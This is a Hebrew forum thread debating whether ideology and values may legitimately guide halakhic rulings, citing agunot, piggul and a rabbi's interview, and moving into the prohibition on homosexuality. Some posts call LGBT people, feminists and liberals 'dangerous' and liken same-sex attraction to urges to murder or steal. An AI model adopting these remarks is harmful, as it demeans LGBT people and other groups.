בית פורומים עצור כאן חושבים

שיקולים אידולגיים ומחשבתיים בפסיקת ההלכה

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-2/8/2018 05:19 לינק ישיר 
שיקולים אידולגיים ומחשבתיים בפסיקת ההלכה

יש לברר עד כמה ומהו הגבול  שניתן לשלב שיקולים אידאלוגיים ומחשבתיים בפסיקת הלכה .

האם פוסק שבה לפסוק הלכה צריך לבוא מתוך גישה של בירור האמת האלוקיית  כפי שהיא מתגלת בתורה ובדברי החכמים בכל הדורות ללא עירוב של שיקוליים אידאולגיים /חברתיים/ מחשבתיים/הומאניים  

או שפוסק הלכה צריך שיהיה  לו קו מחשבתי אידאולגי , שהוא יהיה מאין מצפן שמכוון אותו בפסיקת ההלכה?

(יכול להיות לפעמים  שבתוך גדרי ההלכה בספק מסויים  יש להתחשב בשיקולים אחרים ולא על כך השאלה אלא האם האידואלגיה מכוונת את פסיקת ההלכה)


האם אין בעייתיות בכך שאתה כביכול מגדיר מטרה  ואח"כ מנסה להתאים לה גדרים הלכתיים ואז אין כאן באמת בירור אמיתי של הדין ?


ישנה דינים כמו התרת עגונות שבהם נראה שמוסכם שיש לנהוג כך שאנחנו מראש רוצים להתיר את העגונה וזו המטרה ולכן אנחנו מחפשים איך מבחינה הלכתית יש להתיר אותה  (ולא חוקרים במחשבה קרה האם לפי ההלכה היא מותרת או לא)


השאלה האם זה באמת היוצא דופן או שבכל פסיקת הלכה יש נטייה אצל הפוסק לפסוק לפי קו מחשבתי שקיים אצלו?


האם שבית הלל ובית שמאי נחלקו , האם בית הלל מראש נטו מבחינה מחשבתית להקל ובית שמאי נטו  מראש מבחינה מחשבתית להחמיר ולכן ממילא אלו הקלו ואלו החמירו

או ששניהם ניסו לברר את האמת ההלכתית  רק לבית הלל יצא בדרך כלל להקל כי שורש נשמתם ממידת החסד ובירור האמת במידת החסד מחייב להקל ,ובית שמאי שורש נשמתם במידת הדין והאמת שיוצאת ממידת הדין מחייבת להחמיר.. כלומר שנטיית הלב היא מציאות נפשית ולא מציאות  בחירית .


הנראה לענ"ד שנטיית הלב הנפשית קיימת בכל פסיקה של פוסק, ככל שהאדם הוא יותר גדול נטיית הלב היא יותר אמיתית והיא עצמה התורה "תורה דילה היא - בתחילה היא נקראת תורת השם ומשלמדה וגרסה היא נקראת תורתו" (קידושין לב,ב ורש"י שם) ומימלא נוצר אצלו בנפש נטיית הלב שהיא עצמה  דעת התורה.

הבעיה מתחילה כאשר יש רצונות חיצוניים כגון  להתאים את התורה לקידמה או למוסר הומאני ואז השיקוליים האלו מטים את ההלכה להקל או במקרים  שיש נטייה לחומורות יתרות שנובעים משיקוליים חיצוניים במקום שאין נכון מהדין להחמיר





דווח על תוכן פוגעני

מחובר
נשלח ב-2/8/2018 11:21 לינק ישיר 

משתדל

איקון ירוק.

אם אנסח מחדש את השאלה שלך במשפט אחד: האם יש בפסיקת הלכה גם מטא-הלכה.

הענין הוא כמובן שהמונח "מטא-הלכה" אינו חד משמעי ולכן אפילו לא הכי ברור.

ובאמת, איך נאפיין את ההבדל בין פסק משיקול "אידיאולוגי" לבין שלא? כמדומה שאפשר לנסח זאת כך: ניתן לגזור הלכה באופן דדוקטיבי או פורמליסטי מתוך הנתונים שלפנינו: הפרדיגמות כלומר דוגמאות היסוד, העקרונות שמופיעים בספרים.

אני נאלץ להעיר שאפשר לטעון שגם לימוד פורמליסטי - צורני - אינו בדיוק דדוקטיבי. אבל הוא מתמקד רק במקורות הנתונים, שבכתב ושבעל פה.

הפוסק בוודאי אינו יכול לערב את השקפותיו, ואפילו לא ערכים.

אבל - לא כל ההלכות נקבעות בצורה כזו. וכפי שציין משתדל, הדוגמא של עגונות היא היוצא דופן המעיד על הכלל. הפוסק ייגש לנושא של עגונות עם האינטרס המכוון למצוא היתר (בתנאי שהבעל כנראה מת והבעיה היא להסתמך על כך למרות התנאים הרבים שנאמרו בסיוג ההיתר הזה עד שכמעט הוציאו אותו מכלל אפשרות).

דוגמא עוד יותר טובה, בעצם, היא התרת ממזרים. ובמקום שלישי, מציאת היתר לכהן לשאת אשה שאסורה לכהן.

דוגמא מודרנית היא התרת אשה עגונה במובן החדש, זו שבעלה מעגן אותה עקב אי נתינת גט. צאו וראו מה עשה חברנו מיכי, הרב מיכאל אברהם, עם עוד שני דיינים למען היתר כזה. הוא לא עיקם את ההלכה, לפי מה שקראתי, אבל בית הדין בהחלט הפגין מאמץ להשתמש במקורות ההלכה באופן יצירתי ולקח לעצמו סמכויות שרוב הרבנים נרתעים מפניהן.

אני כותב זאת לשבח. אם כי יש לציין שאם מאפשרים להפעיל שיקולים ערכיים, ואם חושפים זאת לעיני הציבור, ההלכה נחלשת כי מתקבל רושם שהיא כחומר ביד היוצר של הפוסק. ואפשר לקבל פסקים לפי הזמנה.

בשעתו פתחתי אשכול שהראה כי ערכים מניעים גם פסקים והכרעות של חז"ל. הדוגמא שם היתה של דין פיגול. בתורה נאמר, בשני מקומות, כי מי שאוכל מן הקרבן לאחר שלושה ימים פוסל אותו ומי שהקריב נענש.

לדוגמא


אִם הֵאָכֹל יֵאָכֵל מִבְּשַׂר זֶבַח שְׁלָמָיו בַּיּוֹם הַשְּׁלִישִׁי לֹא יֵרָצֶה הַמַּקְרִיב אֹתוֹ לֹא יֵחָשֵׁב לוֹ פִּגּוּל יִהְיֶה וְהַנֶּפֶשׁ הָאֹכֶלֶת מִמֶּנּוּ עֲוֹנָהּ תִּשָּׂא (ויקרא פרק ז פסוק יח)

חז"ל העמידו את הפסוק (כלומר הסבירו שהוא מדבר במקרה מסויים) לא לפי פשוטו של מקרא. פשוטו של מקרא קובע כי צריך לחכות שלושה ימים כדי לראות אם הקרבן נפסל, והמקריב למעשה תלוי בדעת אחרים. אם יאכלו לאחר זמן הוא זה ש"לא ירצה" או גרוע מזה.

לפיכך ביארו שאין מדובר באוכל ממש אלא במי שמתכנן לאכול לאחר הזמן הקבוע. ותוכנית כזו, שהובעה כנראה בעל פה, הורסת את הקרבן בתחילתו.

הנימוק שם הוא שלא יעלה על הדעת לפרש לפי הפשט, כי אין זה מן הצדק.

זו רק דוגמא אחת, ואפשר למצוא עוד, שבהן חז"ל מנמקים שינוי מן הפשט הפשוט, שאמנם קשה לקבל, על פי שיקולים שאפשר לכנות "מטא-שיקולים".

ואם חז"ל נהגו כך, האם לא על מנת כן ניתנה תורה? שהפוסק האחראי (וזו מילת מפתח) יוכל ויהיה חייב לפרש לפי יעדי התורה וערכיה ולא רק לפי גזירה פורמליסטית יבשה?


_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-2/8/2018 22:54 לינק ישיר 

מיימוני כתב:


דוגמא מודרנית היא התרת אשה עגונה במובן החדש, זו שבעלה מעגן אותה עקב אי נתינת גט. צאו וראו מה עשה חברנו מיכי, הרב מיכאל אברהם, עם עוד שני דיינים למען היתר כזה. הוא לא עיקם את ההלכה, לפי מה שקראתי, אבל בית הדין בהחלט הפגין מאמץ להשתמש במקורות ההלכה באופן יצירתי ולקח לעצמו סמכויות שרוב הרבנים נרתעים מפניהן.


אני כותב זאת לשבח. אם כי יש לציין שאם מאפשרים להפעיל שיקולים ערכיים, ואם חושפים זאת לעיני הציבור, ההלכה נחלשת כי מתקבל רושם שהיא כחומר ביד היוצר של הפוסק. ואפשר לקבל פסקים לפי הזמנה.


בשעתו פתחתי אשכול שהראה כי ערכים מניעים גם פסקים והכרעות של חז"ל. הדוגמא שם היתה של דין פיגול. בתורה נאמר, בשני מקומות, כי מי שאוכל מן הקרבן לאחר שלושה ימים פוסל אותו ומי שהקריב נענש.


לדוגמא



אִם הֵאָכֹל יֵאָכֵל מִבְּשַׂר זֶבַח שְׁלָמָיו בַּיּוֹם הַשְּׁלִישִׁי לֹא יֵרָצֶה הַמַּקְרִיב אֹתוֹ לֹא יֵחָשֵׁב לוֹ פִּגּוּל יִהְיֶה וְהַנֶּפֶשׁ הָאֹכֶלֶת מִמֶּנּוּ עֲוֹנָהּ תִּשָּׂא (ויקרא פרק ז פסוק יח)


חז"ל העמידו את הפסוק (כלומר הסבירו שהוא מדבר במקרה מסויים) לא לפי פשוטו של מקרא. פשוטו של מקרא קובע כי צריך לחכות שלושה ימים כדי לראות אם הקרבן נפסל, והמקריב למעשה תלוי בדעת אחרים. אם יאכלו לאחר זמן הוא זה ש"לא ירצה" או גרוע מזה.


לפיכך ביארו שאין מדובר באוכל ממש אלא במי שמתכנן לאכול לאחר הזמן הקבוע. ותוכנית כזו, שהובעה כנראה בעל פה, הורסת את הקרבן בתחילתו.


הנימוק שם הוא שלא יעלה על הדעת לפרש לפי הפשט, כי אין זה מן הצדק.


זו רק דוגמא אחת, ואפשר למצוא עוד, שבהן חז"ל מנמקים שינוי מן הפשט הפשוט, שאמנם קשה לקבל, על פי שיקולים שאפשר לכנות "מטא-שיקולים".


ואם חז"ל נהגו כך, האם לא על מנת כן ניתנה תורה? שהפוסק האחראי (וזו מילת מפתח) יוכל ויהיה חייב לפרש לפי יעדי התורה וערכיה ולא רק לפי גזירה פורמליסטית יבשה?



מה שכתבת מימוני להביא ראיה מדין פיגול ונראה כוונתך לגמרא בזבחים כט :"תנו רבנן: (ויקרא ז, יח) ואם האכל יאכל מבשר זבח שלמיו אמר רבי אליעזר כוף אזנך לשמוע במחשב לאכול מזבחו ביום השלישי הכתוב מדבר או אינו אלא באוכל מזבחו ליום שלישי אמרת אחר שהוא כשר יחזור ויפסל אמר לו רבי עקיבא הן מצינו בזב וזבה ושומרת יום כנגד יום שהן בחזקת טהרה וכיון שראו סתרו אף אתה אל תתמה על זה שאע"פ שהוכשר שיחזור ויפסל"


נראה שאין ראיה משם שמה שאמרו שזה רק נוגד את הסברה ולכן אין להסביר את הפסוק כפשוטו , וסברה זה אחד מדרכי הלמידה של התורה , וכיוון שיש להסביר את הפסוק באופן שלא יסתור את הפסוק יש לעשות כך .



לגבי דעותיו של מיכי נראה שהוא מאלה שסוברים שהאידאולגיה כן משפיעה על ההלכה וכך הוא פועל למעשה


וציטוט מראיון איתו לגבי הומאים "

אז מה הפתרון ההלכתי לנושא? מה על הומו דתי לעשות אם הוא ניסה טיפולים והם לא עזרו – עליו להישאר רווק כל חייו?

"איני מכיר פתרון הלכתי לבעיה הזאת. שוב, זה נראה לי כמו המקרה של קלפטומניה. מה הפתרון לקלפטומן? מה הפתרון לחולה סרטן? יש בעיות לא פתירות. ואיני מקל ראש בקושי הנורא הזה, אבל אין לי פתרון בעבורו. כמו שבמחלת סרטן או בקלפטומניה איני מקל ראש, אבל אין לי פתרון. ואציין שאיני עושה כאן השוואה במובן שכל אלו מחלות.

"יש מקום רחוק לפרשנות שהאיסור הוא רק על מי שיצר בעלמא – בלי נטייה הומוסקסואלית – גורם לו לעבור עבירה, אבל גם הטיעון הזה הוא קשה ביותר. בלי קונצנזוס רציני והחלטה של בי"ד מוסמך קשה לי להתיר – למרות שהייתי מאוד רוצה – את מה שנאסר בפירוש בתורה ועל ידי כל חכמי הדורות עד האחרון. שינוי מהותי בהלכה זוקק מניין, דהיינו בית הדין הגדול".

אתה חושב שבעוד עשרים שנה ההלכה תהיה גמישה יותר בעניין?

"אני מקווה, אבל כלל לא בטוח. כאמור, דרוש קונצנזוס".

 

הרי אומר במפורש שהיה רוצה להתיר להומואים להיות ביחד מסברה שכל האיסור של תורה זה רק למי שהוא לא הומו , רק שבפועל בלי בי"ד קשה לו להתיר ומקווה שהלכה בעתיד תתגמש

 

לדעתי הגישה הנ"ל גובלת לרפורמיות , כי הרפורמים שינו את ההלכה מפאת שרצו להתאים אותה  לדעות שלהם. והגישה הנ"ל עושה אותה דבר רק שמנסה לטהר את השרץ בתוך גדרי ההלכה.








דדווח על תוכן פוגעני

מחובר
נשלח ב-3/8/2018 08:47 לינק ישיר 

הערת אגב - אם נתיר הומוסקסואליות למי שנוטה  לזה נתיר גם  לה"ר למי שזה בוער לו?



דדווח על תוכן פוגעני

מחובר
נשלח ב-3/8/2018 09:16 לינק ישיר 

משתדל

אכן זו הסוגיה של פיגול אבל באשכול שאיני מוצאו הראיתי כיצד השיקול הפנימי הוא שאין זה מן הראוי לחייב למפרע, וזה מבוסס על סברה של צדק ויושר. כלומר ערך.

אם אני מבין, אז יש כאן שתי שאלות.

א. האם יש מקום לשיקולים ערכיים בפסק הלכה? בפרשנות המקורות? ביישומם?

ב. האם זה נכון גם לגבי חד מיניים?

לגבי הסעיף הראשון, השתדלתי להראות ששיקולים כאלו הם ותמיד היו חלק מן התורה שבעל פה. והכל מודים בכך לפחות לגבי שאלות מסויימות, כמו עגונות וממזרים.

לגבי הסעיף השני, זה נושא כאוב ולאחרונה גם מסוכן. אם אעז לכתוב שחד מיניות היא בעיה שצריך לפתור ולא צורך אותנטי שיש לכבד, האם לא יסקלוני במילים?

אולם, כפי שפורשה מחדש מצוות "בן סורר ומורה" וכפי שנעלמה מצות גואל הדם עד שאין מי שאפילו מזכיר אותה כדוגמא להלכה שבוטלה למעשה, כך יש כלים כדי לפרש מחדש את האיסור של משכב זכר.

כלומר, האם האיסור על חד מיניות נובע מכך שחד מיניות היא דבר שלילי מצד עצמו, בהתאם למערכת הערכים שהתורה באה להעניק לנו, או שמא האיסור הזה הוא שריד היסטורי בגלל שחד מיניות היתה קשורה לתופעות אחרות אסורות (למשל, בעבודה זרה).

לשון אחר: השאלה שיש לשאול, לפחות מצד הבחינה של פרשנות ההלכה, היא האם הערכים שדרכם אנו מפרשים את התורה הם עצמם עשויים להשתנות.

אסביר.

אפשר לארגן את הערכים במבנה עץ, נניח לפי הפילוסופיה התועלתנית. אם המטרה של התורה היא כפי שכותב הרמב"ם, הבריאות החברתית והבריאות האישית, גם הנפשית, והתפתחות האדם, אזי התפתחות זו עשויה להיתפש באופן שונה בדורות שונים, מפני שהאדם השתנה והתפתח - גם עקב השפעת התורה.

ואז עלינו לשאול: האם האיסור על זוגיות חד מינית הוא רק פורמלי כיון שצריך לאפשר לזוג אוהב לחיות יחד, ללא קשר לזהות המיגדרית שלו, ומה נעשה שבזמן מתן תורה זה נאסר, אולי בגלל שחד מיניים היו כהנים לעבודה זרה? ואז יש מקום להפעיל כלים פרשניים.

כמובן, גם אם התפתחות הבנת הערכים שלנו כוללת מציאת מקום לזוגיות חד מינית, הפרשנות בפועל שתתיר אותה אינה יכולה להגיע תחת לחץ מבחוץ. כל שינוי פרשני עקב תגלית ערכית יכול להגיע רק מתוך התפתחות פנימית כי הזכות לשנות ולפרש היא רק של תלמידי חכמים יראי ה'.

או שמא הפסול של זוגיות חד מינית הוא בגלל שזה באמת דבר לא ראוי. ואז אי אפשר להתיר דבר שהוא נגד ערכי התורה.

זה מה שאני טוען: עלינו לדון בשאלה האם המשאלה של הכרה בזוגיות חד מינית היא התפתחות הומאנית לקראת ערכים מתוקנים או ערעור על מטרות החיים האנושיים כפי שהתורה מגדירה אותן ומגלה אותן?


_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-3/8/2018 13:44 לינק ישיר 

תלמיד טועה תקרא קצת מחקרים על חד מיניות לפני שתעשה השוואה מופרכת. (בלשון עדינה מאד)

מיימוני לגבי טענתך :


" עלינו לדון בשאלה האם המשאלה של הכרה בזוגיות חד מינית היא התפתחות הומאנית לקראת ערכים מתוקנים או ערעור על מטרות החיים האנושיים כפי שהתורה מגדירה אותן ומגלה אותן?"


כאן נגעת בלב הבעיה .
הרי לא מתקבל על הדעת  שקרתה התגלות אלוהית חד פעמית ואחריה בני אדם אנושיים שנחשבים לחכמי הדור על ידי אנשים בשר ודם (אפילו שהם למעשה יכולים להיות טיפשי הדור לפי דעת אנשים חכמים אחרים )רשאים להתעסק בתורה כבתוך שלהם  ולבטל מה שנראה להם  לא מתאים (סיפאסט נישט) ולהשאיר מה שנראה לו כן מתאים.
כגון בן סורר ומורה לא מתאים אבל חילול שבת כן מתאים .
עיר הנידחת לא מתאים אבל חד מיניות כן מתאים.
עין תחת עין לא מתאים אבל ברית מילה כן מתאים וכו וכו.


ומה קורה היום?
כל השיטה מתפוצצת ברעש גדול (כי השיטה לא הגיונית) .
היום אפילו חכם אחד לא מעז  לשנות בטענה ש"חדש אסור מן התורה"

וכך תישאר ההלכה קפואה עד לבוא המשיח ולמה?
כי השיטה מלכתחילה לא יכולה לעבוד .
ולמה היא לא יכולה לעבוד ?
כי יש בה מלכתילה חוסר הגיון.



דדווח על תוכן פוגעני

מחובר
נשלח ב-3/8/2018 14:18 לינק ישיר 

שינוי מתבקש במשנה- 
למדנו חרש שוטה וקטן פגיעתם רע- הם שפגעו באחרים פטורים אחרים שפגעו בהם חייבים. היום יש להוסיף- את הפמיניסטיןת הלהטב'ם השמאלנים והליברלים. הם שפגעו באחרים פטורים- אבל אוי למי שפוגע בהם.



דדווח על תוכן פוגעני

מנותק
נשלח ב-3/8/2018 14:32 לינק ישיר 

ירוחם מה פשר ההשוואה הטיפשית שעשית בין חרש שוטה וקטן ללהטבים? 



דדווח על תוכן פוגעני

מחובר
נשלח ב-3/8/2018 16:48 לינק ישיר 

לא השוותי חלילה הוספתי אותם לרשימת החריגים המסוכנים



דדווח על תוכן פוגעני

מנותק
נשלח ב-3/8/2018 17:15 לינק ישיר 

מסוכנים למי? 



דדווח על תוכן פוגעני

מחובר
נשלח ב-3/8/2018 18:51 לינק ישיר 

אפרים

כללי הפורום מרשים ואפילו מעודדים לשאול כל שאלה.

לכן אם יש לך טענה נגד ההשוואה של ת"ט בין להט"ב לבין מי שרוצה באיסור אחר, נניח לשון הרע, וחש שזה "בוער לו", עליך לא להסתפק בטענה שעבורך כנראה היא מספיק טובה, לאמור שזה טפשי.

אני אפילו הצלחתי לזהות בסיס להשוואה: המידה שבה הדבר האסור מעורר רגש עז. אם כל רגש עז מצדיק פעולה בהתאם לרגש, עד היכן נתקדם או ניסוג בהתרים שלנו?

יש כמובן הבדלים. כי חיים חד מיניים אינם פוגעים באחרים, לפחות לא במישרין (דוגמא של התנהגות אסורה בעבר בכל זאת היא משהו מזיק או מערער). לשון הרע פוגעת על ידי דיבור במושא שלה.

בדומה לזה, אפשר להבין את ההשוואה של ירוחמ. להטב"ים נהנים, לפחות בתקשורת, לפחות מהמעט שאני מכיר, ממין חסינות. זה הבסיס לקביעה המופרזת של ירוחמ.

אשר לטענתך כלפי, אני מצטט:

הרי לא מתקבל על הדעת 

1. שקרתה התגלות אלוהית חד פעמית ואחריה בני אדם אנושיים שנחשבים לחכמי הדור על ידי אנשים בשר ודם (אפילו שהם למעשה יכולים להיות טיפשי הדור לפי דעת אנשים חכמים אחרים )רשאים להתעסק בתורה כבתוך שלהם  ולבטל מה שנראה להם  לא מתאים (סיפאסט נישט) ולהשאיר מה שנראה לו כן מתאים.
2. כגון בן סורר ומורה לא מתאים אבל חילול שבת כן מתאים .
עיר הנידחת לא מתאים אבל חד מיניות כן מתאים.
עין תחת עין לא מתאים אבל ברית מילה כן מתאים וכו וכו


המספרים הם כמובן משלי כדי להתייחס.

ובכן, לגבי 1, לפי דעתי זה לא רק אפשרי אלא מה שקרה היסטורית. זה מה שטוענת הגמרא שקרה וקורה עד היום הזה.

כמובן, זהותם של האחראים היא משתנה מדור לדור, ויש תנאי יסוד כדי להשתייך לרשימה המיוחדת הזו.

זה גם לא מגן עלינו, על עם ישראל, מטועים ואפילו טפשים. הנה, דוגמא שהוזכרה באשכולות של ט' באב: ר' זכריה בן אבקולס. לפי הגרסה הבבלית, הוא סירב להתיר הקרבת קורבן שכשר בדיעבד או לנקוט יד קשה, להרוג את בר קמצא שהיה רודף. ועליו נאמר שענוותנותו הרסה את המקדש.

ובהחלט אפשר לחשוב על דוגמאות נוספות של תפיסות שהן שגויות בעינינו שהיו שייכות לחכמים הממונים על העברת התורה ופרשנותה.

אז זה מה שיש. לעצמי ולאחרים אני מציע להיות תלמיד חכם ואז תוכל, בהתבסס על הידע שלך, להציע פרשנויות חדשות. (אם כי לפי הבבלי יש עדיין מיגבלות שונות באקטיביזם הפרשני).

2. הזכרת דוגמאות מאד מעניינות.

הרב קוק סבר שאחד מן הדברים שצריכים להשתנות הוא צריכת בשר. על האנושות או למצער עם ישראל לחזור לצמחונות שהיתה, לפי פירוש חז"ל בספר בראשית, נחלתו של אדם הראשון והדרך של בניו עד לנח לאחר המבול.

רבים מאיתנו חשים שקרבנות אינם מדברים אליהם. וזה כבר כמעט לגיטימי להתלונן על כך בקול רם (אם כי אז תולים את הקולר בעצמנו). וראה במאמרו הישן של פרופסור יעקב לוינגר בנושא זה.

האם ניקח את הביקורת הזו גם נגד ברית מילה, שנעשית לרך הנולד בלי לשאול אותו לרצונו, ומורידה חלק מגופו? זו שאלה מעניינת.

וכמובן יש כאלו שמנסים להוציא ברית מילה מחוץ לחוק מכיון שזה יישום של החלטת ההורים עבור הילד. וזה כמובן לא יעלה על הדעת בחברה ליברלית... לפי פרשנויות מסויימות של ליברליזם.

אז זו דוגמא מצויינת. האם תיתכן אי פעם יהדות שתאסור על ברית מילה? כמו שביטלה את בן סורר ומורה?

יש לשים לב שהדין של בן סורר ומורה לא בוטל כמו שהוא מלווה בדרישות שמונעות את יישומו. ובכך, לפי פרשנות שמקובלת גם עלי, חז"ל ניטרלו דין שהאנושות התבגרה מעבר לו.

אפשר לדון בשאלה פחות מאתגרת. נשים מקבלות טיפול רפואי נגד כאבי לידה. וחוץ ממספר קטן של משוגעים לדבר איני סבור שיש מי שיאסור זאת כי בתורה נאמר "בצער תלדי בנים".

ובכל זאת, נדמה שיש קונצנזוס נגד שימוש במשככי כאב מקומיים בזמן הברית לתינוק, האין זאת?

אולי כדאי להתחיל בנקודה הזו ולבדוק אותה?

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-4/8/2018 21:45 לינק ישיר 

לגבי עצם הפסיקה עפ"י אידואלגיה אף שיש דוגמאות שיש לעשות כך כמו ממזרים ועגונות הבעיתוית מתחילה בכך שהופכים את זה לשיטה ואזי כל פסק הלכתי קודם כל בודקים מבחינה אידאולגית ואז מתאימים את הפסק לפי זה … והרבה קילקולים התחילו בכך שלקחו אמיתה מסויימת שנכונה במקרים מסויימים והפכו אותה לשיטה


לגבי  הומאים אני רואה שיש כאן עוד בעיה בנוסף לעיוות הפסיקה כדי להתאים אותה לאידולגיה , והיא עצם האידולגיה שמשכב זכר אין איתה בעיה מוסרית (ומימלא מבחינה ערכית  יש לנסות למצוא התרים לתופעה)

והרי חז"ל ראו בתופעה של משכב זכר כתופעה של קילקול  מוסרי שהיה סיבה למבול ולהפיכת סדום ובכל ספרי החכמים ראו בתופעה זו קילקול מוסרי גדול (ולא כמו שכתב מיימוני  שהוא שריד היסטורי בגלל שחד מיניות היתה קשורה לתופעות אחרות אסורות למשל, בעבודה זרה), ואפילו המוסר האנושי שלא קשור לתורה ראה בתופעה זו קילקול מוסרי ואסר על משכב זכר, ורק בעשרות שנים אחרונות בשטיפת מוח הצליחו לגרום לשנות את הדעה שאין בעיה מוסרית במשכב זכר , והוא כחלק מאידאולגיה כללית רחבה יותר שאיש הישר בעינו יעשה והכל מוסרי כל עוד  אינך מזיק לאחר .


ולכן לא רק שאין לנסות למצוא התרים לתופעה זו אלא יש להלחם בה ככל האפשר כתופעה בלתי מוסרית .


לעצם ההתמודדות של אדם שיש לו נטיה כזו עם הנטייה שלו, ודאי שזה לא דבר פשוט  ושיש עליו רחמנות גדולה ואין הכל שווים בזה שיש מי שעורר את יצרו לזה ויש מי שיצר זה טבוע מתולדתו (ויש היום מחקרים שרוב בני האדם גם אלה שמגדירים עצמם שאינם בעלי נטייה יש להם נטייה ומשיכה  לשני המינים בכח רק שאצל כל אדם זה ביחס שונה ורוב בני האדם לא מוצאים לפעול את הנטייה הזו) וכמו שיש רחמנות גדולה על אדם שיש לו נטייה בטבעו לרצוח או לגנוב או כמו שיש רחמנות על אדם שיש בו מום גופני שהוא נכה או אילם  , ולכן גם אם אדם נכשל בעון זה אין לפסול אותו כמו כל אדם שחטא וכל אדם עם ההתמודדות שלו, אבל זה שיש רחמנות ואמפטיה כלפי אדם כזה לא אמורה לגרום להתיר קילקול מוסרי בגלל זה.





דדווח על תוכן פוגעני

מחובר
נשלח ב-4/8/2018 22:22 לינק ישיר 

מיימוני כתב:
אפרים

כללי הפורום מרשים ואפילו מעודדים לשאול כל שאלה.

לכן אם יש לך טענה נגד ההשוואה של ת"ט בין להט"ב לבין מי שרוצה באיסור אחר, נניח לשון הרע, וחש שזה "בוער לו", עליך לא להסתפק בטענה שעבורך כנראה היא מספיק טובה, לאמור שזה טפשי.

אני אפילו הצלחתי לזהות בסיס להשוואה: המידה שבה הדבר האסור מעורר רגש עז. אם כל רגש עז מצדיק פעולה בהתאם לרגש, עד היכן נתקדם או ניסוג בהתרים שלנו?

יש כמובן הבדלים. כי חיים חד מיניים אינם פוגעים באחרים, לפחות לא במישרין (דוגמא של התנהגות אסורה בעבר בכל זאת היא משהו מזיק או מערער). לשון הרע פוגעת על ידי דיבור במושא שלה.

תלמיד טועה טעה כי החד מיניות טבועה באדם עם לידתו ולכן הוא לא יכול לשנות אותה גם אם ירצה מאד לעומת לשון הרע שאפשר להימנע עם הרבה כוח רצון..
הבסיס להשוואה שאתה "הצלחת"לזהות אינו נכון כי הוא לא נוגע למהות אלא למשהו צדדי. למשל ילד משווה בין פיל לספה רק בגלל שהצבע שלהם אפור.  הצלחת למצוא בסיס להשוואה אבל זה לא נוגע לעיקר ממש כמו ילד שמשווה על בסיס צבע.

.





בדומה לזה, אפשר להבין את ההשוואה של ירוחמ. להטב"ים נהנים, לפחות בתקשורת, לפחות מהמעט שאני מכיר, ממין חסינות. זה הבסיס לקביעה המופרזת של ירוחמ.


ירוחם כתב שהלה"טבים  מסוכנים ולכן לא ברורה לי תגובתך


אשר לטענתך כלפי, אני מצטט:

הרי לא מתקבל על הדעת 

1. שקרתה התגלות אלוהית חד פעמית ואחריה בני אדם אנושיים שנחשבים לחכמי הדור על ידי אנשים בשר ודם (אפילו שהם למעשה יכולים להיות טיפשי הדור לפי דעת אנשים חכמים אחרים )רשאים להתעסק בתורה כבתוך שלהם  ולבטל מה שנראה להם  לא מתאים (סיפאסט נישט) ולהשאיר מה שנראה לו כן מתאים.
2. כגון בן סורר ומורה לא מתאים אבל חילול שבת כן מתאים .
עיר הנידחת לא מתאים אבל חד מיניות כן מתאים.
עין תחת עין לא מתאים אבל ברית מילה כן מתאים וכו וכו


המספרים הם כמובן משלי כדי להתייחס.

ובכן, לגבי 1, לפי דעתי זה לא רק אפשרי אלא מה שקרה היסטורית. זה מה שטוענת הגמרא שקרה וקורה עד היום הזה.


זה מה שטוענת הגמרא אבל הטענה שלי היא שזה לא הגיוני .כנראה שלא קראת מה שכתבתי


כמובן, זהותם של האחראים היא משתנה מדור לדור, ויש תנאי יסוד כדי להשתייך לרשימה המיוחדת הזו.

זה גם לא מגן עלינו, על עם ישראל, מטועים ואפילו טפשים. הנה, דוגמא שהוזכרה באשכולות של ט' באב: ר' זכריה בן אבקולס. לפי הגרסה הבבלית, הוא סירב להתיר הקרבת קורבן שכשר בדיעבד או לנקוט יד קשה, להרוג את בר קמצא שהיה רודף. ועליו נאמר שענוותנותו הרסה את המקדש.

ובהחלט אפשר לחשוב על דוגמאות נוספות של תפיסות שהן שגויות בעינינו שהיו שייכות לחכמים הממונים על העברת התורה ופרשנותה.

אז זה מה שיש. לעצמי ולאחרים אני מציע להיות תלמיד חכם ואז תוכל, בהתבסס על הידע שלך, להציע פרשנויות חדשות. (אם כי לפי הבבלי יש עדיין מיגבלות שונות באקטיביזם הפרשני).



תלמיד חכם בעיני מי? הרי אלה שקובעים הם חכמים  שנבחרו על ידי חכמים בעיני עצמם . תקרא  קצת על חכמתם כי רבה. (הקישור בהודעה הבאה מהבלוג של נדב שנרב)





2. הזכרת דוגמאות מאד מעניינות.

הרב קוק סבר שאחד מן הדברים שצריכים להשתנות הוא צריכת בשר. על האנושות או למצער עם ישראל לחזור לצמחונות שהיתה, לפי פירוש חז"ל בספר בראשית, נחלתו של אדם הראשון והדרך של בניו עד לנח לאחר המבול.

רבים מאיתנו חשים שקרבנות אינם מדברים אליהם. וזה כבר כמעט לגיטימי להתלונן על כך בקול רם (אם כי אז תולים את הקולר בעצמנו). וראה במאמרו הישן של פרופסור יעקב לוינגר בנושא זה.

האם ניקח את הביקורת הזו גם נגד ברית מילה, שנעשית לרך הנולד בלי לשאול אותו לרצונו, ומורידה חלק מגופו? זו שאלה מעניינת.

וכמובן יש כאלו שמנסים להוציא ברית מילה מחוץ לחוק מכיון שזה יישום של החלטת ההורים עבור הילד. וזה כמובן לא יעלה על הדעת בחברה ליברלית... לפי פרשנויות מסויימות של ליברליזם.

אז זו דוגמא מצויינת. האם תיתכן אי פעם יהדות שתאסור על ברית מילה? כמו שביטלה את בן סורר ומורה?

יש לשים לב שהדין של בן סורר ומורה לא בוטל כמו שהוא מלווה בדרישות שמונעות את יישומו. ובכך, לפי פרשנות שמקובלת גם עלי, חז"ל ניטרלו דין שהאנושות התבגרה מעבר לו.

אפשר לדון בשאלה פחות מאתגרת. נשים מקבלות טיפול רפואי נגד כאבי לידה. וחוץ ממספר קטן של משוגעים לדבר איני סבור שיש מי שיאסור זאת כי בתורה נאמר "בצער תלדי בנים".

ובכל זאת, נדמה שיש קונצנזוס נגד שימוש במשככי כאב מקומיים בזמן הברית לתינוק, האין זאת?

אולי כדאי להתחיל בנקודה הזו ולבדוק אותה?



